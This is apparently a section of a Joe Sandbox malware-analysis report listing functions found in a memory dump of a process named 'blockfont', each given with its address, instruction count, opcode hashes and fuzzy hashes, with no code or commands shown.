Opcode ID: 2b6dd0d5f7dac91cff1979fa41f71a9a6e24613540b333f9eeae31b13cc26911
Instruction ID: 1eee55fcb7ef98331f29a3330335d1aaaf38a2712a53509fd751b4ba698eb653
Opcode Fuzzy Hash: 2b6dd0d5f7dac91cff1979fa41f71a9a6e24613540b333f9eeae31b13cc26911
Instruction Fuzzy Hash: 5D31D874E1991D9EEBA8EB98C8A96ADB7B1FF58300F411139D00DE32A2DF2469418B40

Function 00007FFD9B8ECD4D Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44fa91aa67509e3e0a7afa8a966df078cfa6623fb83516a1f91b11fa10792d7f
Instruction ID: c4af50fc51b8c112c62867fdd026067c15d072c3934649b9cc43964bcd5e4816
Opcode Fuzzy Hash: 44fa91aa67509e3e0a7afa8a966df078cfa6623fb83516a1f91b11fa10792d7f
Instruction Fuzzy Hash: 4031FB25F0D16B4AEB697BA8A8384FC7B60EF45335F560077D01DC60E3DE5835508A61

Function 00007FFD9B8E33E0 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8279df7b6449a2d1beb38f7117927ab91590d9e170369f8d3bde59c805028298
Instruction ID: 96de14e73eadc3be40212b57b570dbe013f81685c3baa8702805d8639e401d2f
Opcode Fuzzy Hash: 8279df7b6449a2d1beb38f7117927ab91590d9e170369f8d3bde59c805028298
Instruction Fuzzy Hash: 67313E3094E7CA4FD753ABB488685A57FF0EF5B314B0A44E7D484CB0B3DA295946C721

Function 00007FFD9B8EAA51 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31df2c6f8b93ee084d476186a8133a743edb612be6655f5ac7f8a7907474eefe
Instruction ID: 5d65e25b027550707a5e70e455ca31215b5ad5ac01e0b7631bafdebeacd88cba
Opcode Fuzzy Hash: 31df2c6f8b93ee084d476186a8133a743edb612be6655f5ac7f8a7907474eefe
Instruction Fuzzy Hash: 3B215E70A0964D9FDB98EF58C4599AD3BF0FF5C304F01016AE41AC72A5DB34E540CB80

Function 00007FFD9B8EB3FA Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d1b2ca60714bce57358ca9a64cfd4279d26b7b4543e434b630159dc4686357e
Instruction ID: f42d6c71e7913f503d3765f26cfdac782d33ef31aa248e5f255f2ee126c36944
Opcode Fuzzy Hash: 9d1b2ca60714bce57358ca9a64cfd4279d26b7b4543e434b630159dc4686357e
Instruction Fuzzy Hash: E221D230B0A90F9FEB55FBA888A95FDB7E0FF58304F0145B6D428C30A6EE34A545C240

Function 00007FFD9B8E0A01 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5830bf09627754350c25f3ccddc0bdcc5e68e308d3a8405171b4ccac7a01186
Instruction ID: e3be025c5cb91fbbc9e2dd928579ab033cf8d73027a55647a5031f02de14388b
Opcode Fuzzy Hash: a5830bf09627754350c25f3ccddc0bdcc5e68e308d3a8405171b4ccac7a01186
Instruction Fuzzy Hash: F311B230E2A50E8FE7A4FBA8886A5BD77E1FF58740F4149B6D418D70A6EE34A5448740

Function 00007FFD9B8F2A61 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a120ab4b48d21d83ba3ae144ccaa9354d645ca89499d0bc8e49760e0fe6c53b3
Instruction ID: f88920e8e1e3a217f9a8997f4d03daf4d5bf75d4a5bd0c06a3eeb11b6e28a344
Opcode Fuzzy Hash: a120ab4b48d21d83ba3ae144ccaa9354d645ca89499d0bc8e49760e0fe6c53b3
Instruction Fuzzy Hash: A211BE30A1964D8FDB58EF64C4615E93BE1FF5C304F0205AAF809C32A1DA34A950CB81

Function 00007FFD9B8E084D Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b7d2093842cab86a01ff1b91f12fdacf6f5a6b09948316a8e06f0f8b0e51a71
Instruction ID: c4c6360e67bc6817c9f048d4c6b3b1eabdda650a14fac7651a4fa64ea3a576c9
Opcode Fuzzy Hash: 8b7d2093842cab86a01ff1b91f12fdacf6f5a6b09948316a8e06f0f8b0e51a71
Instruction Fuzzy Hash: 90113A30B1D14E8FDB15BBB888AA4E83BE0FF49304F0608B3C459CB0A7ED349155C291

Function 00007FFD9B8F2C68 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7db83e0981eba848103ac7b251e214d357ad4d02058217af5cc393185979daea
Instruction ID: 668d42017945ddd80e3b110ba2b45fe589d086a3efc5a8cc7b8a9f521813bc99
Opcode Fuzzy Hash: 7db83e0981eba848103ac7b251e214d357ad4d02058217af5cc393185979daea
Instruction Fuzzy Hash: 9C11813064E68D8FD7569BB088391A93FB0BF0A315F4604EBD409CB1F3DA2D5A45C752

Function 00007FFD9B8EC0D5 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 363125892e43ae8b19aacfe33cab7e163eef65ede49dae21f88548dab946a016
Instruction ID: 45b2bf5449a4e493834b94f2b29bf901f0e1835ba26021b5fab0c197d6de0796
Opcode Fuzzy Hash: 363125892e43ae8b19aacfe33cab7e163eef65ede49dae21f88548dab946a016
Instruction Fuzzy Hash: D1115230E1964E8FDB59EF64C4695BD7BE0FF18304F41057AD419C71A2DB35A6508B00

Function 00007FFD9B8ED1C0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f07dbebc83c500563a23587cf03d9641ac69c2da53fa4c95e61353a1b4cb022e
Instruction ID: e9ca866957dc7f23ca018fe834c99790914d5d1e7a3e3b763e46f3facbf2da6b
Opcode Fuzzy Hash: f07dbebc83c500563a23587cf03d9641ac69c2da53fa4c95e61353a1b4cb022e
Instruction Fuzzy Hash: D911C430B09A0E9FEB58EF6884652BD7AE0FF58300F40057AD81DC21A5DE34A540C780

Function 00007FFD9B8E119D Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4947d827931ad89a12d7bd5ffec5aa8b9bb636b9f28ff3e153cb6fd15abfbc01
Instruction ID: e14ade905351dbc35a71d74f7b05781fb959196db3181c7b855e3bca12cbfb8e
Opcode Fuzzy Hash: 4947d827931ad89a12d7bd5ffec5aa8b9bb636b9f28ff3e153cb6fd15abfbc01
Instruction Fuzzy Hash: 1211B270E0A64E4EEB69FBA4C8696BD7BE0FF59300F0104BED41AC60E1EE296640C700

Function 00007FFD9B8F2E51 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4633f8588fa97de4b902bc027b3028acea2c87b58a8b5d88f72db582391ec002
Instruction ID: cb0b52931fb2b3d57ae2ed6fb288921e9c1408d7afcd1ba17973d6075ce7925f
Opcode Fuzzy Hash: 4633f8588fa97de4b902bc027b3028acea2c87b58a8b5d88f72db582391ec002
Instruction Fuzzy Hash: A011AD30A0A54E8EEB62EBB488685F97FE1FF0A300F1505B6E418C6062DA38A6848741

Function 00007FFD9B8EB248 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b9661d53c1e033a708d365287e164af46fd136bfa41147a057cc44a16329e4b
Instruction ID: c110ed28a8a549d6322626124aead301ecd812245e5a2b9bd65aaf797450807b
Opcode Fuzzy Hash: 7b9661d53c1e033a708d365287e164af46fd136bfa41147a057cc44a16329e4b
Instruction Fuzzy Hash: E8114C30A18A0E8FDB94EFA8C4696BE7BE1FF58305F50057AE41AD31A4CB34A550CB80

Function 00007FFD9B8E3505 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b708b3346364b48ebee604ced655d6edf3925669cf1f2969740fc9db3262e073
Instruction ID: 58e38e9cba4a50d5ae84a1e557c239631b5a8fd53d2e51112bd242abd5d193e5
Opcode Fuzzy Hash: b708b3346364b48ebee604ced655d6edf3925669cf1f2969740fc9db3262e073
Instruction Fuzzy Hash: 51115670A0954E8FDB59EF64C4655BD7BB0FF18300F0105BED419D61A1DB75A6408700

Function 00007FFD9B8E2E81 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c3f107be3e5e141b224e467421a18f9b34a54af3501107c44633201ef6bc5b2
Instruction ID: baa310bbfbf6d0f18e4c6b5867d104ff76ac619209d2e4aec51c4c19f6414f85
Opcode Fuzzy Hash: 1c3f107be3e5e141b224e467421a18f9b34a54af3501107c44633201ef6bc5b2
Instruction Fuzzy Hash: 0201B130A1A65E4FE765FFA488695A93BE0FF59300F0645B6D408C70A3EA34E5408600

Function 00007FFD9B8ECC90 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34bb8a4dcca292a942d50e5a249c9f7eca1be77bc718a3e4d4c22606292ce2ca
Instruction ID: ba7cb0c67d64f1ac0645f68206619d55ffa8cc4d8eac3e7acc291ff0606490c1
Opcode Fuzzy Hash: 34bb8a4dcca292a942d50e5a249c9f7eca1be77bc718a3e4d4c22606292ce2ca
Instruction Fuzzy Hash: 1B110C30A2591E9FDF98EF68C4586BA77E0FF18305F11047AE41AD72A5DB34A550CB40

Function 00007FFD9B8ECCA8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbd24202d9a4b98824186c4c1d86f83bfa4ab01037e68de0913f6d5bd56b97e1
Instruction ID: bc6604264d9aaa26e12181295ff752ebf2539917d3581f635a3e9f4655f17bc5
Opcode Fuzzy Hash: cbd24202d9a4b98824186c4c1d86f83bfa4ab01037e68de0913f6d5bd56b97e1
Instruction Fuzzy Hash: 10116130A1560E9FDBA8EFA4C4686BE77E1FF18305F10057AD41DD21A4CB34A290C780

Function 00007FFD9B8EB378 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed1a49a4ca77d0b8999bf98aa941c03c329c8a7d70f0fdcbb0e3602ab67c684c
Instruction ID: 6de72e2ff27e7554ed1c3213ea3adf7b444f01b56c3eded15d50fe1a2c37e958
Opcode Fuzzy Hash: ed1a49a4ca77d0b8999bf98aa941c03c329c8a7d70f0fdcbb0e3602ab67c684c
Instruction Fuzzy Hash: 84011E30E1990E8EEB59FBA4C46D6BE76E1FF1C305F11087AD41ED21A5DE35A650CB40

Function 00007FFD9B8E285D Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebfa759bbd5dd12d66a6e17dacfc4181a835565e61935c4048a52d9fa96c7f8b
Instruction ID: 9b1ae5df32049d3bc1732518d842b9a59b3b418398eaa672772420c7d0d85daf
Opcode Fuzzy Hash: ebfa759bbd5dd12d66a6e17dacfc4181a835565e61935c4048a52d9fa96c7f8b
Instruction Fuzzy Hash: 55018430A1A55E8FE765FFA884695A97BE0FF59300F4245B6D418C61A6EE38E540C700

Function 00007FFD9B8EB005 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4991f852e23689ea279f4a915aaf7da9f8b79bb7ef1b4ff8c4476b20961da69b
Instruction ID: dbd70c43909cd4e625f882fc7d41f932bb25a295e7bfaa600a63c4a22fec7c45
Opcode Fuzzy Hash: 4991f852e23689ea279f4a915aaf7da9f8b79bb7ef1b4ff8c4476b20961da69b
Instruction Fuzzy Hash: 1201D875A0E24A4FD716FB64D8A55E93BB0EF4631170641F7C04ACF0B3D938A4458750

Function 00007FFD9B8F12A0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8a77288d20a1cc6cfe33ba1f8abbff0f2cfd85606a80d4830c99f3b27cdd0cc
Instruction ID: 62d11472eb3b035284aec8b315e22280a1fef87ca565b672698579d8e96bf6e4
Opcode Fuzzy Hash: f8a77288d20a1cc6cfe33ba1f8abbff0f2cfd85606a80d4830c99f3b27cdd0cc
Instruction Fuzzy Hash: 9B012C30A1590E8EEB99FFA4C4686BE7BE0FF18305F11047AD42ED21A5DE35A650CB40

Function 00007FFD9B8EC890 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3119665df96be719d83de44c20c49028f11df6ddeda978607c64b7e2c75a5aba
Instruction ID: e9abe885016836c70a707030a5c7f02ace9f75b864a6341438904928d81c1b54
Opcode Fuzzy Hash: 3119665df96be719d83de44c20c49028f11df6ddeda978607c64b7e2c75a5aba
Instruction Fuzzy Hash: A4015A30E1591E9EEB98EF64C4686BE76E0FF18305F10087AD42ED21A4DA30A650CB40

Function 00007FFD9B8EC871 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfd320070534b5c8cdb54487189d1c95cd5138c70b6b20a1e56882015643bb3a
Instruction ID: 96a9e747a8131b3e576df196dd19897ae25e57a3b8f8c9cef3cda50b63fdac64
Opcode Fuzzy Hash: cfd320070534b5c8cdb54487189d1c95cd5138c70b6b20a1e56882015643bb3a
Instruction Fuzzy Hash: 62F08174D0A69E8FEB98AF6489692FD7BB0FF18204F41057AD818C21A1DB349650CB40

Function 00007FFD9B8E2EF9 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b52dc118d0c2e55a81552b4cbbfa1fc7907d1e73de6d081d3f2b331f4ed6f7be
Instruction ID: c4590aaa8f7a704cf5ebd45c6d28b619a896190dd82ba60490452702b82d5524
Opcode Fuzzy Hash: b52dc118d0c2e55a81552b4cbbfa1fc7907d1e73de6d081d3f2b331f4ed6f7be
Instruction Fuzzy Hash: 13018470A1A64E8FD766FBB488695A97BE0EF09300F0605B3D408CB0B6DA38A6548701

Function 00007FFD9B8F1281 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ebdb3421d1619e1923ba7aefedc8cc5f3ef6fe51e2c4ef525e45a9a96d67bf6
Instruction ID: 0e22c07592c74291c9cfe4cc0bd797b6332570e18d0939dd1184067897cc403e
Opcode Fuzzy Hash: 9ebdb3421d1619e1923ba7aefedc8cc5f3ef6fe51e2c4ef525e45a9a96d67bf6
Instruction Fuzzy Hash: ADF04F31A1964E8FEB55EFA488682FE7BA0FF19210F41057AE81CC21A5DB3496548740

Function 00007FFD9B8EAF99 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01c91e8cbd87a9ea2a5d97d3f870bdc3928e8a34596afed5ad5b3098bef45dae
Instruction ID: a24839670b6358c28ce1e644e72d6b384d3aa91dfee91780bb66f4600c60dc9b
Opcode Fuzzy Hash: 01c91e8cbd87a9ea2a5d97d3f870bdc3928e8a34596afed5ad5b3098bef45dae
Instruction Fuzzy Hash: B6018470A5E64E5FE766BB7488695A97BE0EF09300F0644F3D409CB0B6E938A5448701

Function 00007FFD9B8EAF3A Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 476f4ed18455db5a41d87154c4fb4bb15c583bf1b77929da77b2762a7ad8a653
Instruction ID: 5f173093df180f2f63f22d413117f85a1ddc77714d41defd20963306ee394527
Opcode Fuzzy Hash: 476f4ed18455db5a41d87154c4fb4bb15c583bf1b77929da77b2762a7ad8a653
Instruction Fuzzy Hash: 9C01F470E1A50E9EEB65FFB4C8685B97BE0FF0C700F0108B6D419CB0A1EE34E2408640

Function 00007FFD9B8E05D8 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38e5d44e5104efeb6bdbf917c13587a0bd180473881e0256881f7f823a0bfef4
Instruction ID: 2d8fce518fb7eb8711953c98e38fe50ac3790504bed31703d07ebe2e3cc70a0c
Opcode Fuzzy Hash: 38e5d44e5104efeb6bdbf917c13587a0bd180473881e0256881f7f823a0bfef4
Instruction Fuzzy Hash: 49014F30A0950E8FDB9CFF65C0646B977E1FF5C305F51447ED41AC62A4CA35A691CB40

Function 00007FFD9B8E1C8D Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c45d5788f8a68d9004c56a0f6a974c5d6059461f5c5bb54f8b90c6c6dd65fcaf
Instruction ID: d17ffa02a73104ab1157d4db0902b06b70b779cc8d339e3aa471f638132289fb
Opcode Fuzzy Hash: c45d5788f8a68d9004c56a0f6a974c5d6059461f5c5bb54f8b90c6c6dd65fcaf
Instruction Fuzzy Hash: CC01D630A0A64E8FDB58FF64C4655B93BA0FF59300F45007AD408C61A1DB35D550C740

Function 00007FFD9B909390 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbf36aaf7ba9c72cf25966751393972358c369963ed9a8ed0becb3937de06c11
Instruction ID: 589edde6de25e3c0703aa7abc7053af8daaea68b0596a9e94d08350352221a8e
Opcode Fuzzy Hash: fbf36aaf7ba9c72cf25966751393972358c369963ed9a8ed0becb3937de06c11
Instruction Fuzzy Hash: 59014B34A2991F9FEB50FBA8845C6BA77E0FF58300F010972E41DC20A5EA34A2808B40

Function 00007FFD9B8E0610 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47fda7a1f9f5b4e2d06a1d13ddf26762f72877eb100db2c3e0eb40f520f81eb2
Instruction ID: ea48ab15996b3b892b9e92f490a7c29d2b7b43dbf739f8a3c4e01f0a54210922
Opcode Fuzzy Hash: 47fda7a1f9f5b4e2d06a1d13ddf26762f72877eb100db2c3e0eb40f520f81eb2
Instruction Fuzzy Hash: 2C016D30A19A0E8FEB6DEFA4C4686B973A0FF1C305F11047ED41EC61E5DE35A650C600

Function 00007FFD9B8E0608 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a38d21fd3523227f24ce34baa820aca783003e50f84dd104d827559a9e357e38
Instruction ID: 7c1f771614b9bd2814b7c33925bd80281ae1b04816e050d1b7e9e418117bf0ca
Opcode Fuzzy Hash: a38d21fd3523227f24ce34baa820aca783003e50f84dd104d827559a9e357e38
Instruction Fuzzy Hash: BC018630A1560ECADB5DFFA4C8696B973A1FF1C305F11087ED41ED21E5DE35A690CA00

Function 00007FFD9B8EB068 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad8947f65119e64a6410b6b29ed0f927579b1e58ce9c0694329ba62c7a39b9ff
Instruction ID: 14f8596f755a9a328a2cf8f25b1aedc6461d759684f522867cef7f024792bf39
Opcode Fuzzy Hash: ad8947f65119e64a6410b6b29ed0f927579b1e58ce9c0694329ba62c7a39b9ff
Instruction Fuzzy Hash: DAF01D30B5950E8AEB68EFA4C465ABD7BA0EF18304F51087AE41ED31A5DE356A50C681

Function 00007FFD9B8EC4B5 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f71b824df7f4f7a2e505f9f9814c8622fb35b779668a07415f59b2fcd7a8ab8
Instruction ID: 184c261e73172710c4857fb8e0e04a40ced5101b48ac13f43bfacce84bc65ec2
Opcode Fuzzy Hash: 7f71b824df7f4f7a2e505f9f9814c8622fb35b779668a07415f59b2fcd7a8ab8
Instruction Fuzzy Hash: B1F06830E0964E8FDB59EF64886D2FE7BF0FF19300F41057AD419D21A1DB3496548B40

Function 00007FFD9B8E11B0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
